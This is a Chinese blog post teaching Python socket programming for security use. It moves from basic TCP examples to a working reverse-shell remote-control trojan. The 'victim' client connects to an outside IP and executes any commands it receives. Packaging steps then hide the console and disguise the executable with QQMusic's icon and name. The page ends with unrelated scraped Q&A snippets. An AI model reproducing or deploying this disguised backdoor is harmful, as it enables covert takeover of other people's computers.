生命在于学习——Socket编程(偏安全方面)

2023-11-18

在这里插入图片描述
本篇文章仅用于学习记录和交流,不得用于其他违规用途,产生的不良后果,自己负责。

一、Socket介绍

首先socket (套接字) 是工作在应用层和传输层之间一个抽像层 , 为什么要有他呢 ? 虽然我们已经有了ip+port可以和世界上任意一台计算机上的软件通信了 , 但是需要我们自己构造数据 , 以及封包 , 以及如何转换成2进制 . 相当麻烦 , 不利于开发 , 于是有了socket , 这个对数据封装的复杂工作交给他完成就好了 , 我们只需要调用相关接口就ok了 , 同样收数据也是基于socket层
在这里插入图片描述
所以我们无论用什么编程语言去开发网络通信的软件都不会自己封包解包 , 都是基于套接字的实现的 , 同样最后当应用层的数据传输结束了 , 你要在合适的地方用socket把系统资源给释放了

1、为什么学习socket

或者说用socket我们能实现什么 ? socket可以帮助我们解决两个软件之间的通信问题 , 大家都知道ip可以定位一台电脑 , 那么电脑上那么多软件我的软件怎么知道要跟另一个软件通信而不是和qq通信? 这就引出来了端口 , ip+port可以定位到你电脑上的某个应用程序(软件) , 大家都知道端口是不能重复的

你想一想远控(c2)是不是也是两个软件的通信? 木马和控制端的通信 , 不管你用的什么协议 底层都是socket之间的通信 , 只不过在上面规范了一些数据包的传输而已 , 所以我们也可以自己基于socket编写远控

2、套接字发展史及分类

套接字起源于 20 世纪 70 年代加利福尼亚大学伯克利分校版本的 Unix,即人们所说的 BSD Unix。 因此,有时人们也把套接字称为“伯克利套接字”或“BSD 套接字”。一开始,套接字被设计用在同 一台主机上多个应用程序之间的通讯。这也被称进程间通讯,或 IPC。套接字有两种(或者称为有两个种族),分别是基于文件型的和基于网络型的。

基于文件类型的套接字家族

套接字家族的名字:AF_UNIX

unix一切皆文件,基于文件的套接字调用的就是底层的文件系统来取数据,两个套接字进程运行在同一机器,可以通过访问同一个文件系统间接完成通信

基于网络类型的套接字家族

套接字家族的名字:AF_INET

(还有AF_INET6被用于ipv6,还有一些其他的地址家族,不过,他们要么是只用于某个平台,要么就是已经被废弃,或者是很少被使用,或者是根本没有实现,所有地址家族中,AF_INET是使用最广泛的一个,python支持很多种地址家族,但是由于我们只关心网络编程,所以大部分时候我么只使用AF_INET)

3、套接字工作流程

一个生活中的场景。你要打电话给一个朋友,先拨号,朋友听到电话铃声后提起电话,这时你和你的朋友就建立起了连接,就可以讲话了。等交流结束,挂断电话结束此次交谈。 生活中的场景就解释了这工作原理。
先从服务器端说起。服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。在这时如果有个客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束

二、TCP套接字

1、单次通信

客户端代码:

# 客户端
import socket
# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 基于网络 , tcp协议,默认不写也是这个
# 2.打电话,前提要知道对方的ip和port
sock.connect(('127.0.0.1',8080))
# 3.发送数据
sock.send(b'hello word')   # 发送的数据必须是bytes类型
# 4.关闭
sock.close()

服务端代码

服务端

i

import socket

# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 基于网络 , tcp协议,默认不写也是这个
# 2.绑定手机卡
sock.bind(('127.0.0.1', 8080))  # 1024以前都被系统占用了
# 3.开机
sock.listen(5)  # 半连接池允许的个数5
# 4.等待连接请求
print("等待客户端连接......")
conn, client_addr = sock.accept()
print("建立了一个管道: {}".format(conn))
print('客户端的地址: {}'.format(client_addr))
# 5.接收数据
msg = conn.recv(1024) # 最大接收的数据量为1024个字节,收到的是bytes类型
# 6.打印数据
print(f"接收到的数据 : {msg.decode()}")
# 7.关闭管道连接(必选,回收资源的操作)
conn.close()
# 8.关闭服务端sock对象(可选)
sock.close()

2、通信循环

客户端代码:

# 客户端
import socket

# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 基于网络 , tcp协议,默认不写也是这个
# 2.打电话,前提要知道对方的ip和port
sock.connect(('127.0.0.1', 8080))
# 3.发送数据
while 1:
    data = input('请输入你要发送的数据>>>').strip()
    if not data: continue
    sock.send(data.encode())
    msg = sock.recv(1024).decode()
    print(msg)

服务端代码:

# 服务端
import socket

# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 基于网络 , tcp协议,默认不写也是这个
# 2.绑定手机卡
sock.bind(('127.0.0.1', 8080)) 
# 3.开机
sock.listen(5)
# 4.等待连接请求
print("等待客户端连接......")
conn, client_addr = sock.accept()
while 1:
    try:
        # 5.接收数据
        msg = conn.recv(1024).decode()  # 最大接收的数据量为1024个字节,收到的是bytes类型
        if not msg: break  # 如果msg为空,意味是一种异常的行为,客户端非法断开,此时应该断开链接
        # 6.打印数据
        print(f"接收到的数据 : {msg}")
        # 7.回复客户端数据
        conn.send(msg.upper().encode())
    except Exception:
        # 针对win
        break

conn.close()
sock.close()

出现了粘包问题。
只有TCP有粘包现象,UDP永远不会粘包。

例如基于tcp的套接字客户端往服务端上传文件,发送时文件内容是按照一段一段的字节流发送的,在接收方看了,根本不知道该文件的字节流从何处开始,在何处结束

所谓粘包问题主要还是因为接收方不知道消息之间的界限,不知道一次性提取多少字节的数据所造成的。

此外,发送方引起的粘包是由TCP协议本身造成的,TCP为提高传输效率,发送方往往要收集到足够多的数据后才发送一个TCP段。若连续几次需要send的数据都很少,通常TCP会根据优化算法把这些数据合成一个TCP段后一次发送出去,这样接收方就收到了粘包数据。

解决:
客户端:

import socket
import struct


def recv_data(sock, buf_size=1024):
    """解决粘包"""
    # 先接受命令执行结果的长度
    x = sock.recv(4)
    all_size = struct.unpack('i', x)[0]
    # 接收真实数据
    recv_size = 0
    data = b''
    while recv_size < all_size:
        data += sock.recv(buf_size)
        recv_size += buf_size
    return data


def send_data(sock, data):
    """发送数据也解决粘包问题"""
    if type(data) == str:
        data = data.encode("utf-8")
    # 新增发送命令的粘包解决方案
    # 计算命令长度 , 打包发送
    cmd_len = struct.pack('i', len(data))
    sock.send(cmd_len)
    # 发送命令
    sock.send(data)


def main():
    client = socket.socket()
    client.connect(('127.0.0.1', 8082))
    while 1:
        try:
            # 新增解包接收命令
            msg = recv_data(client)  # 接收对面传来的数据
            if msg == b"q":break
            print(msg.decode("utf-8"))
            # 发送内容
            msg = input("请输入你要回复的内容:").strip()
            send_data(client, msg)
        except Exception:
            break
    client.close()


if __name__ == '__main__':
    main()

服务端:

import socket
import struct



def recv_data(sock, buf_size=1024):
    """解决粘包"""
    # 先接受命令执行结果的长度
    x = sock.recv(4)
    all_size = struct.unpack('i', x)[0]
    # 接收真实数据
    recv_size = 0
    data = b''
    while recv_size < all_size:
        data += sock.recv(buf_size)
        recv_size += buf_size
    return data


def send_data(sock, data):
    """发送数据也解决粘包问题"""
    if type(data) == str:
        data = data.encode("utf-8")
    # 新增发送命令的粘包解决方案
    # 计算命令长度 , 打包发送
    cmd_len = struct.pack('i', len(data))
    sock.send(cmd_len)
    # 发送命令
    sock.send(data)

def main():
    server = socket.socket()
    server.bind(('127.0.0.1', 8082))
    server.listen(2)
    print("等待链接.....")
    conn, c_addr = server.accept()
    print(f"新建一个链接,链接管道为{conn}")
    print(f"当前客户端的地址为{c_addr}")
    while 1:
        try:
            data = input(f'请输入你要发送的内容>').strip()
            if not data:continue
            send_data(conn,data)
            if data == "q":
                break
            # 接收客户端发来的内容
            data = recv_data(conn)
            print(data.decode("utf-8"))
        except Exception:
            break
    conn.close()
    server.close()


if __name__ == '__main__':
    main()

注意:客户端可以发送空,服务端这边不能接受空。

三、Subprocess模块

这个模块也是一个内置模块,相对于os.system,可以控制系统命令执行后的输出的编码方式,达不到乱码。
例子:

import subprocess

obj = subprocess.Popen("whoami", shell=True,
                       stdout=subprocess.PIPE, # 标准正确输出
                       stderr=subprocess.PIPE) # 标准错误输出
# 正确输出
res = obj.stdout.read()
print(res)
# 解码
print(res.decode('gbk'))  #subprocess使用当前系统默认编码,得到结果为bytes类型,在windows下需要用gbk解码
# 错误输出
res_err = obj.stderr.read()
# 打印
print(res_err)

在原来的通信基础上,新增接收命令,并执行命令,然后发送命令执行的结果,解决粘包:
客户端:

import socket
import struct
import subprocess


def exec_cmd(command):
    """执行命令函数"""
    obj = subprocess.Popen(command.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                           stdin=subprocess.PIPE)
    stdout_res = obj.stdout.read() + obj.stderr.read()
    return stdout_res


def recv_data(sock, buf_size=1024):
    """解决粘包"""
    # 先接受命令执行结果的长度
    x = sock.recv(4)
    all_size = struct.unpack('i', x)[0]
    # 接收真实数据
    recv_size = 0
    data = b''
    while recv_size < all_size:
        data += sock.recv(buf_size)
        recv_size += buf_size
    return data


def send_data(sock, data):
    """发送数据也解决粘包问题"""
    if not data: return
    if type(data) == str:
        data = data.encode("utf-8")
    # 新增发送命令的粘包解决方案
    # 计算命令长度 , 打包发送
    cmd_len = struct.pack('i', len(data))
    sock.send(cmd_len)
    # 发送命令
    sock.send(data)


def main():
    client = socket.socket()
    client.connect(('111.111.111.11', 8082))
    while 1:
        try:
            # 新增解包接收命令
            cmd = recv_data(client)  # 接收对面传来的数据
            if cmd == b"q": break
            # 调用subprocess中的方法去执行这个系统命令
            res = exec_cmd(cmd)
            send_data(client, res)
        except Exception:
            break
    client.close()


if __name__ == '__main__':
    main()

服务端:

import socket
import struct



def recv_data(sock, buf_size=1024):
    """解决粘包"""
    # 先接受命令执行结果的长度
    x = sock.recv(4)
    all_size = struct.unpack('i', x)[0]
    # 接收真实数据
    recv_size = 0
    data = b''
    while recv_size < all_size:
        data += sock.recv(buf_size)
        recv_size += buf_size
    return data


def send_data(sock, data):
    """发送数据也解决粘包问题"""
    if type(data) == str:
        data = data.encode("utf-8")
    # 新增发送命令的粘包解决方案
    # 计算命令长度 , 打包发送
    cmd_len = struct.pack('i', len(data))
    sock.send(cmd_len)
    # 发送命令
    sock.send(data)

def main():
    server = socket.socket()
    server.bind(('127.0.0.1', 8082))
    server.listen(2)
    print("等待链接.....")
    conn, c_addr = server.accept()
    while 1:
        try:
            cmd = input(f'shell>').strip()
            if not cmd:continue
            if cmd == "q":
                send_data(conn, cmd)
                break
            send_data(conn,cmd)
            # 接收客户端发来的内容
            data = recv_data(conn)
            print(data.decode("gbk").strip())
        except Exception:
            break
    conn.close()
    server.close()


if __name__ == '__main__':
    main()

四、py打包exe

安装:

pip3 install pyinstaller

打包命令:

pyinstaller -F -w demo.py

-F  打包成一个exe文件 
-w 不显示黑窗口 (默认会显示) , 也可以用 --noconsole 参数 
-i   指定图标 , .ico文件 或者是exe文件 , 会自动提取exe文件的图标
-n  指定打包好的文件名

打包好的程序在dist目录下,示例:

pyinstaller -F -w 05.受害者.py -i "C:\\Program Files (x86)\\Common Files\\Tencent\\QQMusic\\QQMusicService.exe" -n qqmusic

pyinstaller -F -w 10.客户端(受害者).py -i "C:\\Program Files (x86)\\Common Files\\Tencent\\QQMusic\\QQMusicService.exe" -n main

注意:py不支持交叉编译。
可视化打包:

pip3 install auto-py-to-exe

auto-py-to-exe

本质还是pyinstaller
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

生命在于学习——Socket编程(偏安全方面) 的相关文章

  • 为什么我的 sed 命令在使用变量时失败?

    使用 bash 我尝试插入日期变量并搜索该日期的日志文件 然后将输出发送到文件 如果我像这样对日期进行硬编码 它会起作用 sed n Nov 22 2010 p file gt log file 但如果我这样做就会失败 date Nov 2
  • 删除损坏的链接 Unix

    我想删除损坏的链接 但在此之前我想确认目录中是否存在链接文件 我们来调用一下链接A if a A then print ya A is ther fi But if A链接已损坏 那么我该如何检查 find L type l找到损坏的符号链
  • 使用curl复制本地文件[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 有没有办法用curl复制本地文件 我需要它作为cp命令的替代品 这有点奇怪 但我正在一个 cp 不可用的环境中工作 你可以说 curl o
  • 放弃root权限

    我有一个以 root 身份启动的守护进程 因此它可以绑定到低端口 出于安全原因 初始化后我非常希望它放弃 root 权限 谁能指点我已知正确C 中的一段代码可以做到这一点 我阅读了手册页 研究了不同应用程序中的各种实现 它们都是不同的 其中
  • 获取 Bash 和 KornShell (ksh) 中命令的退出代码

    我想写这样的代码 command some command safeRunCommand command safeRunCommand cmnd 1 cmnd if 0 then printf Error when executing co
  • 让子进程等待直到收到父进程的信号

    我想从父级创建 N 个子级 我希望所有的孩子同时开始 一个功能 测量时间 因此 我将该函数放入信号处理程序中 当父级完成创建 分叉 所有子级时 它会向所有子级发送信号 使用kill children id 以让 make 开始 代码如下 但
  • 为什么 nginx 接受 Host 标头与 server_name 不匹配的请求?

    我有一个这样设置的站点 nginx 作为代理服务器 通过 UNIX 套接字代理为 Django 站点提供服务的 Gunicorn 实例的请求 这是我的 nginx 配置 server listen 80 server name api my
  • unix下C++递归复制目录

    没有任何可供使用的功能示例c without additional libs将递归文件和文件夹复制到新位置 一些替代方案system cp R f dir call 我只找到这个C 中的递归目录复制 https stackoverflow
  • 如何在 ruby​​ 中后台运行多个外部命令

    给定这个 Unix shell 脚本 test sh bin sh sleep 2 sleep 5 sleep 1 wait 时间 test sh real 0m5 008s user 0m0 040s sys 0m0 000s 如何在 U
  • 如何触发并忘记子进程?

    我有一个长时间运行的进程 我需要它来启动另一个进程 该进程也会运行很长一段时间 我只需要开始它 然后就完全忘记它 我设法通过从 Ruby 编程 一书中获取一些代码来完成我需要的操作 但我想找到最好 正确的方法 并了解发生了什么 这是我最初得
  • 将用户添加到组但运行“id”时未反映

    R 创建了一个名为 Staff 的组 我希望能够在不以 sudo 身份启动 R 的情况下更新软件包 所以我使用以下方法将自己添加到员工中 sudo usermod G adm dialout cdrom plugdev lpadmin ad
  • 什么是 POSIX 合规性以及它对我有何影响?

    我不断看到这个问题出现 每次我查找它时 我都无法很好地解释它是什么或它对我意味着什么 什么是 POSIX 合规性 假设我的程序仅在兼容 POSIX 的机器上运行 这对我作为程序员来说有何简化 甚至吗 POSIX http pubs open
  • 如何将文件中的值分配给 UNIX sh shell 中的变量?

    我一直在搜索这个网站 试图找到这个问题的答案 并发现了几个非常好的答案 不幸的是 它们都不适合我 这是我正在使用的脚本 VALUE cat szpfxct tmp export VALUE echo gt gt LGFILE echo te
  • shell 脚本:错误的解释器:使用 pwd 时没有这样的文件或目录

    我想用 for 循环遍历目录中的文件 但这出现了 echo bad interpreter No such file or directory code bin bash count 0 dir pwd echo dir FILES ls
  • 如何复制每个扩展名为 X 的文件,同时保留原始文件夹结构? (类Unix系统)

    我正在尝试将每个 HTML 文件从 src 文件夹复制到 dist 文件夹 但是 我想保留原始文件夹结构 如果 dist 文件夹不存在 我想创建一个新文件夹 如果文件夹不存在则创建 d dist mkdir dist 复制每个文件 cp R
  • 如何在gcc中打印UINT64_t?

    为什么这段代码不起作用 include
  • 如何在不登录主机的情况下从IP查找主机名

    我需要找到一个 UNIX 主机的主机名 该主机的 IP 是已知的 而无需登录到该 UNIX 主机 Use nslookup http en wikipedia org wiki Nslookup nslookup 208 77 188 16
  • 通过名称查找进程ID

    如何在 Ruby 中通过名称或完整命令行找到 pid 而不调用外部可执行文件 我正在将 SIGUSR2 发送到命令行包含的进程ruby job rb 我想在不打电话的情况下执行以下操作pgrep uid Process uid pid pg
  • 我的 unix 脚本出了什么问题

    bin bash while echo n Player s name read name name ZZZ do searchresult grep name playername if searchresult 0 then echo
  • 如何通过 shell 脚本确定网页是否存在?

    我正在尝试制作一个程序 可以将一系列漫画扫描转换为一个 pdf 文件 并且我不想尝试下载图片来确定我是否有正确的网址 是否有一个 shell 脚本命令可以用来检查网页是否存在 在 NIX 下 您可以使用curl发出一个简单的HEAD要求 H

随机推荐

  • vs添加第三方库详解

    vs添加第三方库详解 一 编写库所生成的文件 核心文件 二 两种使用库的方式 此时添加一个Pro工程调用这个库 三 库导出函数时候的细节情况 四 新建工程使用这个库 以前总是不知道怎么使用第三方库 每次想学习一个库进行开发 总是遇到各种各样
  • Java中关于System.out.println/print的运算规则

    一 输出到控制台 System out println msg 输出一个字符串 带换行 n System out print msg 输出一个字符串 不带换行 n System out printf format msg 格式化输出 注 p
  • SpringMVC的请求(参数绑定注解、Restful风格的参数的获取、自定义类型转换器、获得Servlet相关API)

    SpringMVC的请求 获得请求参数 SpringMVC的请求 获得请求参数 SpringMVC的请求 获得请求参数 1 SpringMVC的请求 获得请求参数 配置全局乱码过滤器 2 SpringMVC的请求 获得请求参数 参数绑定注解
  • Serializable简单介绍

    Serializable 序列化 什么是序列化 序列化是将对象状态转化为可保持或者传输的格式过程 与序列化相反的是反序列化 完成序列化和反序列化 可以存储或传输数据 一般情况下 在定义实体类时会使用Serializable 为什么要序列化对
  • 硬件学习——I2C

    I2C简单来讲就是2线的串行总线 由SDA Serial Data Line 和SCL Serial Clock Line 构成 它遵循主从结构 允许多主多从 主设备 发起 停止数据输出 并且通过控制时钟来控制数据传输过程 从设备 响应主设
  • 若依vue分离版使用字典

    首先来看官方文档 接下来我们进行操作 第一步已经添加完 来做第二步 打开index vue 在index vue中 找到变量定义的位置 一般在data 中 定义一个新数组
  • LayUI中的基本元素之面板

    前言 最近在准备找工作的事项 但是作为一个后台也是需要了解一些前端框架的 就目前的来说有大火的VUE 但是VUE还是存在一定的学习成本 所以决定先从对后台友好的LayUI开始入手先做一些小项目练练手 后面会考虑使用VUE ElementUI
  • React.Component

    React Component 本章节提供了 React class 组件的详细 API 参考 本章节默认你已熟悉基本的 React 概念 例如 组件 Props 以及 State 生命周期等 概览 React 的组件可以定义为 class
  • teacher-student network

    最近读到一篇文章 An On device Deep Neural Network for Face Detection 讲的是苹果如何将基于深度学习的人脸识别方法应用到iPhone上 同时解决多任务并行及能耗的问题 文中提到了一个teac
  • python第三方库概述_计算机二级python:python第三方库概述

    1 本节课我们进行讲解python第三方库概述 先看一下考纲考点如图所示 2 然后我们来看一下知识导图如图所示 3 查看一下pip工具安装然后进行根据要求步骤安装 4 然后我们来看一下pyinstaller库概述如图所示 5 接下来我们再来
  • android 图像识别sdk,在android系统下实现图像识别

    首先我们了解下 Android系统常用的图像识别框架 一 调用一些不开源库进行识别 旷视的图像识别及 OCR 文字识别库 及其他厂家如阿里 百度 华为 腾讯的 OCR 文字识别库等 二 调用一些开源库进行识别 一 tensorflow 训练
  • python写出梯度下降的代码

    以下是一个使用Python实现的基本梯度下降 Gradient Descent 算法的示例 导入必要的库 import numpy as np import matplotlib pyplot as plt 定义损失函数 def compu
  • seq2seq模型

    转载自 http blog csdn net sunlylorn article details 50607376
  • k--最近邻算法(KNN)

    目录 一 简介 二 举例理解 三 算法步骤 四 其他说明 1 关于距离的计算 2 超参数 3 关于K值的选择 4 取K值的方法 5 关于决策依据 6 优缺点 五 代码 一 简介 邻近算法 KNN 是数据挖掘分类技术最简单的方法之一 所谓K最
  • Asp.net_Study学习笔记

    Asp net Study web基本原理 浏览器向服务器发送请求 服务器响应 报错 HTTP Error 403 14 Forbidden Web 服务器被配置为不列出此目录的内容 解决 打开控制面板里的程序 点击启用或关闭Windows
  • Matlab实现Kmeans算法(每行代码标注详细注解)

    本文主要为了完成平日作业 并进一步加深对算法的理解 也希望对来访的读者有所帮助 该算法的优化Kmean 算法的代码详解已在其他文章给出 Matlab实现Kmeans 算法 每行代码标注详细注解 高垚淼的博客 CSDN博客 Matlab实现B
  • ESD静电放电最常用的三种模型及其防护设计

    推荐好文 建议直接看链接 1 静电放电最常用的三种模型及其防护设计 http www 360doc com content 17 0827 14 32066980 682502209 shtml 人体模型HBM 机器模型MM 充电器件模型C
  • LA@齐次线性方程组解的结构

    文章目录 齐次线性方程组解的结构 解的性质 齐次线性方程组的解的线性组合还是方程组的解 基础解系 通解 定理 齐次线性方程组基础解系存在定理 齐次线性方程组的基础解系包含的向量个数 秩 应用和示例 推论1 推论2 推论3 转置矩阵对的乘积秩
  • 解决jar文件不显示图标问题

    版权声明 本文为转载文章 遵循 CC 4 0 BY SA 版权协议 本文链接 https blog csdn net qyfx123456 article details 104713149 一 问题的产生 最近 重新装了JDK 配置了环境
  • 生命在于学习——Socket编程(偏安全方面)

    本篇文章仅用于学习记录和交流 不得用于其他违规用途 产生的不良后果 自己负责 一 Socket介绍 首先socket 套接字 是工作在应用层和传输层之间一个抽像层 为什么要有他呢 虽然我们已经有了ip port可以和世界上任意一台计算机上的